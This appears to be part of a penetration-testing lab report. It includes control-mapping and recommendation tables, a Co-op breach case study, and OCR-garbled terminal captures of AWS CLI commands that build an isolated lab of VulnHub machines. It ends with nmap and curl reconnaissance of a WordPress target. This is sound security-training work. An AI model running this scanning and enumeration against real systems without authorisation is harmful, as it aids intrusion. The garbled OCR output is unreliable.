Amazon Machine Image (AMI) backups indicating the EBS volume snapshots to commencement of intrusive testing on virtual machines [47]. AWS networking configuration successful restoration of the laboratory led to highlight by architecture diagrams, which is the evidence for isolation. 
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[bookmark: _Toc236933106]Appendix A: Linking Exploitation to Failed Security Controls
	Observed Exploitation
	Security Control That Failed

	Voice phishing (vishing) against IT helpdesk
	NIST SP 800-63B – Identity Verification; ISO 27001 Annex A 6.3 – Security Awareness

	Password and MFA reset abuse
	NIST SP 800-53 IA-2 – Identification and Authentication

	Valid account abuse
	NIST SP 800-53 AC-6 – Least Privilege

	Lateral movement across enterprise systems
	NIST SP 800-53 SC-7 – Network Segmentation; Zero Trust (NIST SP 800-207)

	Delayed detection of attacker activity
	ISO 27001 Annex A 8.15 & 8.16 – Logging and Monitoring; NIST SP 800-53 SI-4 – System Monitoring

	Data exfiltration and ransomware deployment
	NIST CSF 2.0 Detect & Respond Functions; CIS Controls v8 (Controls 13 & 17)





[bookmark: _Toc236933107]Appendix B: Prioritised Strategic Recommendations
	Recommendation
	Framework/Control
	Estimated Effort
	Estimated Cost
	Expected Risk Reduction

	Phishing-resistant MFA (FIDO2/Passkeys)
	NCSC, NIST SP 800-63B
	Medium
	Medium
	Very High

	Zero Trust & Network Segmentation
	NIST SP 800-207
	High
	High
	Very High

	Privileged Access Management (PAM)
	NIST SP 800-53 AC-6
	Medium
	Medium
	High

	SIEM + XDR + UEBA
	MITRE ATT&CK, NIST CSF 2.0
	Medium
	Medium–High
	High

	Centralised Logging (Sysmon, AD, VPN, PowerShell)
	ISO/IEC 27001:2022 Annex A 8.15 & 8.16
	Medium
	Medium
	High

	Incident Response Testing & SOAR
	NIST SP 800-61, ISO/IEC 27035
	Medium
	Medium
	High

	Third-Party Security Assurance
	ISO/IEC 27001 Annex A 5.19
	Medium
	Low–Medium
	High

	Security Awareness & Helpdesk Verification
	CIS Control 14, NCSC Guidance
	Low
	Low
	Medium–High





[bookmark: _Toc236933108]Appendix C: Tools Used
	Tool
	Purpose

	AWS EC2 / AWS VPC
	Hosted the isolated penetration testing laboratory

	Kali Linux
	Red Team attacker operating system

	Nmap
	Network discovery, host identification, and service enumeration

	Gobuster
	Directory and web content enumeration

	WPScan
	WordPress vulnerability and user enumeration

	Burp Suite Community Edition (if shown in your results; otherwise omit)
	Web application request inspection and analysis

	Firefox / Web Browser
	Accessing and interacting with the target web application

	WordPress Admin Dashboard
	Administrative access and controlled theme modification

	Linux Bash Shell
	Post-exploitation command execution

	GTFOBins Reference
	Identification of SUID privilege escalation technique using the find binary

	Linux Built-in Commands (find, cat, id, whoami, ls, pwd)
	Local enumeration, privilege verification, and evidence collection

	Screenshot / Terminal Logging
	Evidence collection and reporting





[bookmark: _Toc236933109]Appendix D: Real vs Simulated Tools
	Tool
	Type
	Justification

	AWS EC2 / VPC
	Real
	Hosted the isolated cloud laboratory

	Kali Linux
	Real
	Industry-standard penetration testing platform

	Nmap
	Real
	Network reconnaissance and service discovery

	Gobuster
	Real
	Web content enumeration

	WPScan
	Real
	WordPress vulnerability assessment

	Burp Suite CE (if used)
	Real
	Web request inspection

	Firefox
	Real
	Browser interaction with target application

	WordPress Admin
	Real
	Legitimate application administration interface

	Bash Shell
	Real
	Native Linux command execution

	GTFO-Bins
	Reference
	Educational privilege escalation knowledge base

	Linux Commands
	Real (LOLBin)
	Trusted operating system utilities
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https://download.vulnhub.com/colddbox/ColddBoxEasy_EN.ova
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7. Co-op Group

Records affected: Personal data of all 6.5 million Co-op members
Date of breach: Late April 2025

Date disclosed: April 2025; full member-data impact admitted May 2025
Sector: Retail / grocery / funeralcare

Attack vector: Social engineering of IT helpdesk staff to reset credentials and
bypass multi-factor authentication, attributed to the Scattered Spider ecosystem
Data exposed: Member names, contact details, and dates of birth; Co-op stated
no financial, payment, or password data was taken

Co-op initially described the incident as an attempted intrusion, then confirmed
within two weeks that attackers had copied the data of every one of its 6.5 million
members. The group pre-emptively shut down large parts of its IT estate, which
caused significant stock shortages across its convenience-store network for
weeks.

Aftermath: Co-op reported a revenue impact of around £206 million for the first
half of 2025. The National Cri
connection with the Co-op,
investigation.

e Agency arrested four people in July 2025 in
, and Harrods intrusions, and the ICO opened an
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[lab $ aws ec2 create-subnet ——vpc-id vpc-089b94a9f6de539e2 ——cidr-block 10.0.1.0/24 ——tag-specifications 'ResourceType=s]
ubnet, Tags=[ {Key=Name, Value=vulnlab-subnet}]'
{
"Subnet": {
{
"Subnet": {

"AvailabilityZoneId": "usel-azl",

"MapCustomerOwnedIpOnLaunch": false,

"OwnerId": "@69176179640",

"AssignIpv6AddressOnCreation": false,

"IpvéCidrBlockAssociationSet": [1,

"Tags": [

{

"Key": "Name",

"Value": "vulnlab-subnet"
}

1,
"SubnetArn": "arn:aws:ec2:us—-east-1:069176179640:subnet/subnet—-@b@bad2b4al1211293",
"EnableDnsé64": false,

"IpvéNative": false,
"PrivateDnsNameOptionsOnLaunch": {

"HostnameType": "ip-name",

"EnableResourceNameDnsARecord": false,

"EnableResourceNameDnsAAAARecord": false
}
"SubnetId": "subnet-@b@bad2b4al1211293",
"State": "available",
"VpcId": "vpc-089b94a9f6de539e2",
"CidrBlock": "10.0.1.0/24",
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"AvailabilityZoneId": "usel-azl",

"MapCustomerOwnedIpOnLaunch": false,

"OwnerId": "@69176179640",

"AssignIpvéAddressOnCreation": false,

"IpvéCidrBlockAssociationSet": [1,

"Tags": [

{

"Key": "Name",

"Value": "vulnlab-subnet"
}

1,
"SubnetArn": "arn:aws:ec2:us-east-1:069176179640:subnet/subnet—-@b@bad2b4al1211293",
"EnableDnsé64": false,

"IpvéNative": false,

"PrivateDnsNameOptionsOnLaunch": {
"HostnameType": "ip-name",
"EnableResourceNameDnsARecord": false,
"EnableResourceNameDnsAAAARecord": false

}
"SubnetId": "subnet-@b@bad2b4al1211293",
"State": "available",

"VpcId": "vpc-089b94a9f6de539e2",
"CidrBlock": "10.0.1.0/24",
"AvailableIpAddressCount": 251,
"AvailabilityZone": "us-east-la",
"DefaultForAz": false,
"MapPublicIpOnLaunch": false
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[lab $ aws ec2 create-security—group —-group—-name vulnlab-sg —-description "Isolated lab SG" —-vpc-id vpc-089b94a9f6de539
e2
{

"GroupId": "sg-043ee4b5f3ab8f46f",

"SecurityGroupArn": "arn:aws:ec2:us—east-1:069176179640:security—-group/sg-043ee4b5f3ab8f46T"
}
[lab $ aws ec2 authorize-security-group-ingress —-group-id sg-@43ee4b5f3ab8f46f ——protocol -1 ——-cidr 10.0.0.0/16 1
{

"Return": true,

"SecurityGroupRules": [

{
"SecurityGroupRuleId": "sgr-0094d444c396da5ab",
"GroupId": "sg-043ee4b5f3ab8f46f",
"GroupOwnerId": "@69176179640",
"IsEgress": false,
"IpProtocol": "-1",
"FromPort": -1,
"ToPort" 5
"CidrIpv4": "10.0.0.0/16",
"SecurityGroupRuleArn": "arn:aws:ec2:us-east-1:069176179640:security—group-rule/sgr-0094d444c396da5ab"
}

lab $ I
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[lab $ aws s3 cp-~/Downloads/DC—1.ova 53://vu1n1ab—import—8842/
upload: Downloads/DC-1.ova to s3://vulnlab-import-8842/DC-1.ova
- 1 = B
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lab $ aws s3 cp ~/Downloads/DC-1.ova s3://vulnlab-import-8842/
upload: Downloads/DC-1.ova to s3://vulnlab-import-8842/DC-1.ova
lab $ cat > containers2.json << 'EOF'

[
{
"Description": "DC-1 VulnHub VM",
"Format": "ova",
"UserBucket": {
"S3Bucket": "vulnlab-import-8842",
"S3Key": "DC-1.ova"
}
}
1
'EOF

lab $ aws ec2 import-image --description "DC-1" --disk-containers file://containers2.json

{
"Description":
"ImportTaskI
"Progress": "1",
"SnapshotDetails": [
{

npC-1t,
"import-ami-e83b24a3f487fée3t",

"Description": "DC-1 VulnHub VM",
"DiskImageSize": 0.0,
"Format": "ova",
"UserBucket": {
"S3Bucket": "vulnlab-import-8842",
"S3Key": "DC-1.ova"
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[lab $ aws ec2 import-image —-description "DC-1" —-disk-containers file://containers2.json
{

"Description": "DC-1",
"ImportTaskId": "import-ami-e83b24a3f487f6ée3t",
"Progress": "1",
"SnapshotDetails": [
{

"Description": "DC-1 VulnHub VM",
"DiskImageSize": 0.0,
"Format": "ova",
"UserBucket": {
"S3Bucket": "vulnlab-import-8842",
"S3Key": "DC-1.ova"

}
1,
"Status": "active",
"StatusMessage": "pending"
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[vm3 $ aws s3 cp ~/Downloads/Fristileaks_1.3.ova s3://vulnlab-import-8842/
Bompleted 24.0 MiB/667.9 MiB (2.6 MiB/s) with 1 file(s) remaining
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[lab $ aws ec2 describe-import-image-tasks ——import-task-ids import-ami-35836030751513d1t
{
"ImportImageTasks": [
{
"Architecture": "x86_64",
"Description": "Mr-Robot",
"Imageld": "ami-@14f8clcfe582ed3a",
"ImportTaskId": "import-ami-35836030751513d1it",
"LicenseType": "BYOL",
"Platform": "Linux",
"SnapshotDetails": [
{

"DeviceName": "/dev/sdal",
"DiskImageSize": 737563648.0,
"Format": "VMDK",
"SnapshotId": "snap-@c2af6c98f6657114",
"Status": "completed",
"UserBucket": {
"S3Bucket": "vulnlab-import-8842",
"S3Key": "mrRobot.ova"

}
1,
"Status": "completed",
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lab $ aws ec2 describe-images \
——image-ids ami-@e9bc50cd49343d4a \

——query "Images[@].[Imageld,EnaSupport,Architecture,VirtualizationTypel" \
——output table

| DescribeImages
e +
| ami-Be9bc50cds9343dsa |
| True

| x86_64 |
| hvm |
e +




image54.png
lab $ aws ec2 run-instances \
——image-id ami-@e9bc50cd49343d4a \
——instance-type t3.micro \
——subnet-id subnet-@b@bad2b4a1211293 \
——security-group-ids sg-043ee4b5f3ab8f46T \
——no-associate-public-ip-address \
——tag-specifications 'ResourceType=instance, Tags=[{Key=Name, Value=VM2-MrRobot}]"'

"ReservationId": "r-e5c67f69add9ae292",
"OwnerId": "@69176179640",
"Groups": [1,
"Instances": [
{
"Architecture": "x86_64",
"BlockDeviceMappings": [1,

"ClientToken": "cda88484-707e-4bf6-8980-e24c13b759¢c6",
"EbsOptimized": false,
"EnaSupport": true,

"Hypervisor": "xen",
"NetworkInterfaces": [
{
"Attachment": {

"AttachTime": "2026-08-05T20:58:41+00:00",
"AttachmentId": "eni-attach-044b237226b27aff2",
"DeleteOnTermination": true,
"DeviceIndex": @,
"Status": "attaching",
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[lab $ aws ec2 describe-instances ——filters "Name=tag:Name,Values=VM2-MrRobot" -—-query "Reservations[].Instances[].]
[Instanceld, State.Name, PrivateIpAddress]" —-output table
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lab $ aws ec2 describe-1mport-image-tasks ——1mport-task-1ds 1mport-aml-—-d64929532d6d4bcot

{

"ImportImageTasks": [

{

"Architecture": "x86_64",
"Description": "Fristileaks",
"ImageId": "ami-@7d2143f9a346a51b",
"ImportTaskId": "import-ami-dé4029532dé6d4bc5t",
"LicenseType": "BYOL",
"Platform": "Linux",
"SnapshotDetails": [
{
"DeviceName": "/dev/sdal",
"DiskImageSize": 700379136.0,
"Format": "VMDK",
"SnapshotId": "snap-06b77be542efl12e01",
"Status": "completed",
"UserBucket": {
"S3Bucket": "vulnlab-import-8842",
"S3Key": "FristilLeaks_1.3.ova"

}
1,
"Status": "completed",
"Tags": []
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lab $ aws ec2 register—image \
——name "Fristileaks-ENA" \
—architecture x86_64 \
——root-device-name /dev/sdal \
——ena-support \
—virtualization—type hvm \
[ ——block-device-mappings "[{\"DeviceName\":\"/dev/sdal\",\"Ebs\":{\"SnapshotId\":\"snap-@6b77be542ef12e01\"}}1" |
{
"Imageld": "ami-@aa201299c92a0122"
}
lab $ I
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[ ——tag-specifications 'ResourceType=instance, Tags=[{Key=Name,Value=VM3-Fristileaks}]'
{
"ReservationId": "r-0d88a841835efbb5e",
"OwnerId": "@69176179640",
"Groups": [1,
"Instances": [
{
"Architecture": "x86_64",
"BlockDeviceMappings": [1,
"ClientToken": "bbdd1f29-cc2b-4al4—a831-c31faaled9ce",
"EbsOptimized": false,
"EnaSupport": true,
"Hypervisor": "xen",
"NetworkInterfaces": [
{
"Attachment": {
"AttachTime": "2026-08-05T21:31:36+00:00",
"AttachmentId": "eni-attach-008346e1985230038",
"DeleteOnTermination": true,
"DeviceIndex": 0,
"Status": "attaching",
"NetworkCardIndex": @

+
"Description": "",
"Groups": [
{
"GroupId": "sg-043ee4b5f3ab8f46f",
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+———————— A A+ —— A+ +

| ColddBox | import-ami-a8c2b5822a002aa@t | active | 9

| Fristileaks| import-ami-d64029532d6dsbc5t | completed | None |
| |

| Mr-Robot import-ami-35836030751513d1t completed | None
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| DescribeImportImageTasks

+—— +: —_ ——t- e ——t
| 001ddBox | import-ami-a8c2b5822a602aa@t | completed | None
| Fristileaks| import-ami-d64029532d6dsbc5t | completed | None |
| Mr-Robot | import-ami-35836030751513d1t | completed | None
—— + —— — —— —
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[colddb $ aws ec2 describe-import-image-tasks ——import-task-ids import—ami-a8c2b5822a002aa@t ——query "ImportImageTal
sks[@].SnapshotDetails[@].SnapshotId" ——output text
snap-0815461001d271c8d
colddb $ aws ec2 register-image \

——name "ColddBox-ENA" \

—architecture x86_64 \

—-root-device-name /dev/sdal \

——ena-support \

—virtualization—-type hvm \
[ ——block-device-mappings "[{\"DeviceName\":\"/dev/sdal\",\"Ebs\":{\"SnapshotId\":\"snap-0815461001d271c8d\"}}1" |
{

"Imageld": "ami-@6ec86f0cf8218d06"

}

Y. & . . e e
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colddb $ aws ec2 run-instances \
——image-id ami-@6ec86f0cf8218de6 \
——instance-type t3.micro \
——subnet-id subnet-@bebad2b4a1211293 \
——security-group-ids sg-043ee4b5f3ab8f46f \
——no-associate-public-ip-address \
——tag-specifications 'ResourceType=instance, Tags=[{Key=Name,Value=VM1-ColddBox}]"'

"ReservationId": "r-@84065771273610d4",

"OwnerId": "@69176179640",

"Groups": [1,

"Instances": [

{
"Architecture": "x86_64",
"BlockDeviceMappings": [1,
"ClientToken": "cbfcbad7-2ale-4f9d-8b70-e79c9f732ela",
"EbsOptimized": false,
"EnaSupport":
"Hypervisor"
"NetworkInterfaces": [
{

"Attachment": {
"AttachTime": "2026-08-05T22:13:26+00:00",
"AttachmentId": "eni-attach-@db6f38d@20d33b73",
"DeleteOnTermination": true,
"DeviceIndex": @,
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[colddb $ aws ec2 describe-instances —-filters "Name=instance-state-name,Values=running" --query "Reservations[].In
stances[].[Tags[@].Value, Instanceld,PrivateIpAddress]" -—output table

-+ -+
VM2-MrRobot | i-021412ef157b8ecf7 | 10.0.1.83
| |
| |

|

| VM3-Fristileaks
| VM1-ColddBox
+

1-052962e33a495236a
i-@efb8abeadead3021

|
10.0.1.144 |
10.0.1.39 |

5
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aws iam attach-role-policy ——role-name SSMRole ——policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore
aws iam create-instance-profile ——instance-profile-name SSMRoleForInstances
[aws iam add-role-to-instance-profile ——-instance-profile-name SSMRoleForInstances —-role-name SSMRole

"Role": {
"patht: "
"RoleName "SSMRole",

"RoleId": "AROARAGZYXO04GFM5ZBJCA",
"Arn": "arn:aws:iam::069176179640:role/SSMRole",
"CreateDate": "2026-08-05T722:16:29+00:00",
"AssumeRolePolicyDocument": {

"Version": "2012-10-17",

"Statement": [

{
"Effect": "Allow",
"Principal": {
"Service": "ec2.amazonaws.com"
I
"Action": "sts:AssumeRole"
}
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"Arn": "arn:aws:iam::069176179640:role/SSMRole",
"CreateDate": "2026-08-05T722:16:29+00:00",
"AssumeRolePolicyDocument": {

"Version": "2012-10-17",

"Statement": [

{
"Effect": "Allow",
"Principal": {
"Service": "ec2.amazonaws.com"
I
"Action": "sts:AssumeRole"
}

"InstanceProfile": {
"path": n/n'
"InstanceProfileName": "SSMRoleForInstances",
"InstanceProfileId": "AIPARAGZYX04M4KORQGBN",
"Arn": "arn:aws:iam::069176179640:instance—-profile/SSMRoleForInstances",
"CreateDate": "2026-08-05T722:16:31+00:00",
"Roles": []
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colddb $ aws ec2 run-instances \
——image-id ami-@c@2fb55956c7d316 \
——instance-type t3.micro \
——subnet-id subnet-@b@bad2b4a1211293 \
——security-group-ids sg-043ee4b5f3ab8f46T \
—no-associate-public-ip-address \
—iam-instance-profile Name=SSMRoleForInstances \
——tag-specifications 'ResourceType=instance, Tags=[{Key=Name,Value=Bastion-Attacker}]'

"ReservationId": "r-@e76af238blc7d92f",
"OwnerId": "@69176179640",
"Groups": [1,
"Instances": [
{
"Architecture": "x86_64",
"BlockDeviceMappings": [1,
"ClientToken": "fd9c4f@d-3f31-48cb-bé4s—7e645de54380",
"EbsOptimized": false,
"EnaSupport": true,
"Hypervisor": "xen",
"IamInstanceProfile": {
"Arn": "arn:aws:iam::069176179640:instance-profile/SSMRoleForInstances",
"Id": "AIPARAGZYX04M4KORQGBN"

i
"NetworkInterfaces": [
{
"Attachment": {
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lab $ aws ec2 describe-instances —-filters "Name:tag:Name,Valhes:Bastion—Attacker" ——query "Reservation
es[].[Instanceld,State.Name]" ——output table
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[aws ec2 modify-vpc—attribute ——vpc-1d vpc-089b94a9f6de539e2 ——enable-dns—hostnames "{\"Value\":true}" ]
lab $ aws ec2 create-vpc-endpoint —-vpc-id vpc-089b94a9f6de539e2 ——service—-name com.amazonaws.us—east-1.ssm ——subn
et-ids subnet-@b@bad2b4al1211293 --security-group-ids sg-043ee4b5f3ab8f46f —-vpc-endpoint-type Interface

aws ec2 create-vpc—endpoint ——vpc-id vpc-089b94a9féde539e2 ——service-name com.amazonaws.us—east-1.ssmmessages ——su
bnet-ids subnet-@b@bad2b4al211293 —-security-group—ids sg-043ee4b5f3ab8f46f —-vpc-endpoint-type Interface

[aws ec2 create-vpc—endpoint ——vpc-id vpc-089b94a9féde539e2 ——-service—name com.amazonaws.us—east—1.ec2messages —-su
bnet-ids subnet-@b@bad2b4al211293 —-security-group—ids sg-043ee4b5f3ab8f46f —-vpc-endpoint-type Interface
{
"VpcEndpoint": {

"VpcEndpointId": "vpce-02c8c849ba5b9487f",

"VpcEndpointType": "Interface",

"VpcId": "vpc-089b94a9f6de539e2",

"ServiceName": "com.amazonaws.us—east-1.ssm",

"State": "pending",

"RouteTableIds": [1],

"SubnetIds": [

"subnet-@b@bad2b4a1211293"

1,
"Groups": [
{
"GroupId": "sg-043ee4b5f3ab8f46T",
"GroupName": "vulnlab-sg"
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"VpcEndpoint": {
"VpcEndpointId": "vpce-@eé3ecb46c242bdd5",
"VpcEndpointType": "Interface",
"VpcId": "vpc-089b94a9f6de539e2",
"ServiceName": "com.amazonaws.us-east-1.ec2messages",
"State": "pending",
"RouteTableIds": [1],
"SubnetIds": [
"subnet-@b0@bad2b4a1211293"

1,
"Groups": [
{
"GroupId": "sg-043ee4b5f3ab8f46f",
"GroupName": "vulnlab-sg"
}
1

"IpAddressType": "ipv4",
"DnsOptions": {

"DnsRecordIpType": "ipv4"
i
"PrivateDnsEnabled": true,
"RequesterManaged": false,
"NetworkInterfaceIds": [

"eni-@daf5a23823d97c6a"
1,
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"VpcEndpoint": {
"VpcEndpointId": "vpce-0013ec9abb4d5de26",
"VpcEndpointType": "Interface",
"VpcId": "vpc-089b94a9f6de539e2",
"ServiceName": "com.amazonaws.us-east—1.ssmmessages",
"State": "pending",
"RouteTableIds": [1],
"SubnetIds": [
"subnet-@b@bad2b4a1211293"

1,
"Groups": [
{
"GroupId": "sg-043ee4b5f3ab8f46f",
"GroupName": "vulnlab-sg"
}
1

"IpAddressType": "ipv4",
"DnsOptions": {
"DnsRecordIpType": "ipv4"
3
"PrivateDnsEnabled": true,
"RequesterManaged": false,
"NetworkInterfaceIds": [
"eni-0676461f21d@7da22"
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[lab $ aws ecz reboot-instances ——instance-ids i-04332b@6d77bec7el

- &
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[sudo ./sessionm:

% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 4123k 100 4123k ] 0 609k @ 0:00:06 0:00:06 ——:—:— 838k

Archive: sessionmanager—bundle.zip

creating:
inflating:
inflating:
inflating:
inflating:
creating:
inflating:
extracting:
inflating:
inflating:
inflating:

[Password:

sessionmanager-bundle
sessionmanager-bundle/RELEASENOTES.md
sessionmanager-bundle/THIRD-PARTY
sessionmanager-bundle/install
sessionmanager-bundle/NOTICE
sessionmanager-bundle/bin
sessionmanager-bundle/bin/session-manager—-plugin
sessionmanager-bundle/VERSION
sessionmanager-bundle/seelog.xml.template
sessionmanager-bundle/README.md
sessionmanager-bundle/LICENSE

Creating install directories: /usr/local/sessionmanagerplugin/bin

Creating Symlink from /usr/local/sessionmanagerplugin/bin/session-manager—-plugin to /usr/local/bin/session-manager

—plugin

Failed to create symlink.

anager-bundle/install -i /usr/local/sessionmanagerplugin -b /usr/local/bin/session-manager-plugin

1

1
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lab $ export PATH=$PATH:/usr/local/sessionmanagerplugin/bin
lab $ aws ssm start-session ——target i-04332b@6d77bec7el

Starting session with Sessionld: root-ljydagnnac3zzfotrhxe7fdgji
sh-4.2$ ||
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‘colddb $ aws ec2 create-vpc—endpoint ——vpc-id vpc-089b94a9féde539e2 —-service—-name com.amazonaws.us—east-1.s3 ——ro]
ute-table-ids $(aws ec2 describe-route-tables —-filters "Name=vpc-id,Values=vpc-089b94a9f6de539e2" ——-query "RouteT
ables[@].RouteTableId" ——output text) ——vpc-endpoint-type Gateway
{
"VpcEndpoint": {

"VpcEndpointId": "vpce-02b9461604273d4ée",

"VpcEndpointType": "Gateway",

"VpcId": "vpc-089b94a9f6de539e2",

"ServiceName": "com.amazonaws.us—east-1.s3",

"State": "available",

"PolicyDocument": "{\"Version\":\"2008-10-17\",\"Statement\":[{\"Effect\":\"Allow\",\"Principal\":\"*\", \"
Action\":\"*\",\"Resource\":\"*\"}1}",

"RouteTableIds": [

"rtb-0ae45101526354fco"

1,
"SubnetIds": [1,
"Groups": [1,
"IpAddressType": "ipv4",
"DnsOptions": {

"DnsRecordIpType": "service-defined"

},
"PrivateDnsEnabled": false,
"RequesterManaged": false,
"NetworkInterfaceIds": [],
"DnsEntries": [1],

"CreationTimestamp": "2026-08-05T22:32:16+00:00",
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sh-4.2$ sudo yum install -y nmap 1
Loaded plugins: extras_suggestions, langpacks, priorities, update-motd
amzn2-core

amzn2extra—-docker

amzn2extra-kernel-5.10

(1/7): amzn2-core/2/x86_64/group_gz

(2/7): amzn2-core/2/x86_64/updateinfo

(3/7): amzn2extra-docker/2/x86_64/updateinfo

(4/7): amzn2extra-docker/2/x86_64/primary_db

(5/7): amzn2extra—kernel-5.10/2/x86_64/updateinfo

(6/7): amzn2extra—kernel-5.10/2/x86_64/primary_db

(7/7): amzn2-core/2/x86_64/primary_db

Resolving Dependencies

——> Running transaction check

———> Package nmap.x86_64 2:6.40-19.amzn2.0.1 will be installed

——> Processing Dependency: nmap-ncat = 2:6.40-19.amzn2.0.1 for package: 2:nmap—6.40-19.amzn2.0.1.x86_64
——> Running transaction check

———> Package nmap-ncat.x86_64 2:6.40-19.amzn2.0.1 will be installed

—> Finished Dependency Resolution

6 kB 00:00:00
9 kB 00:00:00
0 kB 00:00:00
.7 kB 00:00:00
4 MB 00:00:00
44 kB 00:00:00
180 kB 00:00:00
236 kB 00:00:00
52 MB 00:00:00
88 MB 00:00:01

Dependencies Resolved
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Package Arch Version Repository

Installing:

nmap x86_64 2:6.40-19.amzn2.0.1 amzn2-core 4.0 M
Installing for dependencies:

nmap-ncat x86_64 2:6.40-19.amzn2.0.1 amzn2-core 204 k

Transaction Summary

Install 1 Package (+1 Dependent package)

Total download size: 4.2 M
Installed size: 16 M
Downloading packages:

(1/2): nmap-ncat-6.40-19.amzn2.0.1.x86_64.rpm | 204 kB ©0:00:00
(2/2): nmap—6.40-19.amzn2.0.1.x86_64.rpm | 4.0 MB ©0:00:00
Total 18 MB/s | 4.2 MB ©0:00:00

Running transaction check

Running transaction test

Transaction test succeeded

Running transaction
Installing : 2:nmap-ncat-6.40-19.amzn2.0.1.x86_64 1/2
Installing : 2:nmap-6.40-19.amzn2.0.1.x86_64 2/2
Verifying : 2:nmap-6.40-19.amzn2.0.1.x86_64 1/2
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[sh—4.2% nmap -sV -p- 10.0.1.83 10.0.1.144 10.0.1.39

Starting Nmap 6.40 ( http://nmap.org ) at 2026—08-05 22:33 UTC

Nmap scan report for ip-10-0-1-39.ec2.internal (10.0.1.39)

Host is up (0.00015s latency).

Not shown: 65533 closed ports

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

4512/tcp open ssh (protocol 2.0)

1 service unrecognized despite returning data. If you know the service/version, please submit the following finger
print at http://www.insecure.org/cgi-bin/servicefp—submit.cgi :
SF—Port4512-TCP:V=6.40%I=7%D=8/5%Time=6A73BA59%P=x86_64—koji-1inux—gnu¥%r (N
SF:ULL, 2A, "SSH-2\.0-0penSSH_7\ . 2p2\x20Ubuntu—4ubuntu2\.10\r\n");

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 3 IP addresses (1 host up) scanned in 10.10 seconds

v 7 e~ B
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[sh-4.2$% nmap -sV -Pn —p 22,80, 443,8080,21,3306 10.0.1.83 10.0.1.144

Starting Nmap 6.40 ( http://nmap.org ) at 2026—08-05 22:42 UTC
Nmap scan report for ip-10-0-1-83.ec2.internal (10.0.1.83)
Host is up.

PORT STATE SERVICE VERSION

21/tcp  filtered ftp

22/tcp  filtered ssh

80/tcp filtered http

443/tcp filtered https

3306/tcp filtered mysql

8080/tcp filtered http-proxy

Nmap scan report for ip-10-0-1-144.ec2.internal (10.0.1.144)
Host is up.

PORT STATE SERVICE VERSION

21/tcp  filtered ftp

22/tcp  filtered ssh

80/tcp filtered http

443/tcp filtered https

3306/tcp filtered mysql

8080/tcp filtered http-proxy
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sh-4.2% nc -zv -w5 10.0.1.83 80

Ncat: Version 7.5@ ( https://nmap.org/ncat )
Ncat: Connection timed out.

sh-4.2$ curl -I http://10.0.1.39

HTTP/1.1 200 OK

Date: Wed, 05 Aug 2026 22:48:58 GMT

Server: Apache/2.4.18 (Ubuntu)

X-Pingback: /xmlrpc.php

Content-Type: text/html; charset=UTF-8

sh-4.2% curl http://10.0.1.39

<!DOCTYPE html>

<html lang="en-GB" class="no-js">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width">
<link rel="profile" href="http://gmpg.org/xfn/11">
<link rel="pingback" href="/xmlrpc.php">
<!—[if 1t IE 91>
<script src="/wp-content/themes/twentyfifteen/js/html5.js"></script>
<![endif]—>
<script>(function(){document.documentElement.className="'js'})();</script>
<title>ColddBox | One more machine</title>

<meta name='robots' content='noindex, follow' />
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<title>ColddBox | One more machine</title>
<meta name='robots' content='noindex, follow' />
<link rel="alternate" type="application/rss+xml" title="ColddBox &raquo; Feed" href="/?feed=rss2" />
<link rel="alternate" type="application/rss+xml" title="ColddBox &raquo; Comments Feed" href="/?feed=comments-rss2
" />
<link rel='stylesheet' id='twentyfifteen—fonts-css' href='//fonts.googleapis.com/css?family=Noto+Sans%3A400italic
%2C7001talic%2C400%2C700%7CNoto+Serif%3A400italic%2C7001italic%2C400%2C700%7CInconsolata%3A400%2C700_#038; subset=1a
tin%2Clatin-ext' type='text/css' media='all' />
<link rel='stylesheet' id='genericons-css' href='/wp-content/themes/twentyfifteen/genericons/genericons.css?ver=3
.2' type='text/css' media='all' />
<link rel='stylesheet' id='twentyfifteen-style-css' href='/wp—content/themes/twentyfifteen/style.css?ver=4.1.31'
type='text/css' media='all' />
<!—[if 1t IE 91>
<link rel='stylesheet' id='twentyfifteen—ie-css' href='/wp-content/themes/twentyfifteen/css/ie.css?ver=20141010"
type='text/css' media='all' />
<![endif]—>
<!—[if 1t IE 81>
<link rel='stylesheet' id='twentyfifteen-ie7-css' href='/wp—content/themes/twentyfifteen/css/ie7.css?ver=20141010
' type='text/css' media='all' />
<![endif]—>
<script type='text/javascript' src='/wp—includes/js/jquery/jquery.js?ver=1.11.1'></script>
<script type='text/javascript' src='/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.2.1'></script>
<link rel="EditURI" type="application/rsd+xml" title="RSD" href="/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="/wp-includes/wlwmanifest.xml" />
<meta name="generator" content="WordPress 4.1.31" />

<style type="text/css">.recentcomments a{display:inline !important;padding:@ !important;margin:@ !importan
t;}</style>
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sh-4.2% curl -s "http://10.0.1.39/?author=1" -I
HTTP/1.1 200 OK

Date: Wed, 05 Aug 2026 22:51:00 GMT

Server: Apache/2.4.18 (Ubuntu)

X-Pingback: /xmlrpc.php

Content-Type: text/html; charset=UTF-8

'sh-4.2% curl —s "http://10.0.1.39/?author=1" | grep —-i "author\|<title>"
<title>the cold in person | ColddBox</title>
<link rel="alternate" type="application/rss+xml" title="ColddBox &raquo; Posts by the cold in person Feed" href="/
?feed=rss28#038; author=1" />
<body class="archive author author-c@ldd author-1">
</aside><aside id="recent-comments-2" class="widget widget_recent_comments"><h2 class="widget-titl
e">Recent Comments</h2><ul id="recentcomments"><1li class="recentcomments"><span class="comment—author-link"><a hre
f='https://wordpress.org/' rel='external nofollow' class='url'>Sr Hott</a></span> on <a href="/?p=1#comment-1">The
ColddBox is here</a></li></ul></aside><aside id="archives—2" class="widget widget_archive"><h2 class="widget-titl
e">Archives</h2> <ul>
<hl class="page-title">Author: <span class="vcard">the cold in person</span></h1><
/header><!—— .page-header —>

1
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[sh-4.2% curl -s "http://10.0.1.39/?author=1" -I 1
HTTP/1.1 200 OK

Date: Wed, 05 Aug 2026 22:51:00 GMT

Server: Apache/2.4.18 (Ubuntu)

X-Pingback: /xmlrpc.php

Content-Type: text/html; charset=UTF-8

[sh-4.2$ curl -s "http://10.0.1.39/?author=1" | grep —i "author\|<title>" ]
<title>the cold in person | ColddBox</title>
<link rel="alternate" type="application/rss+xml" title="ColddBox &raquo; Posts by the cold in person Feed" href="/
?feed=rss28#038; author=1" />
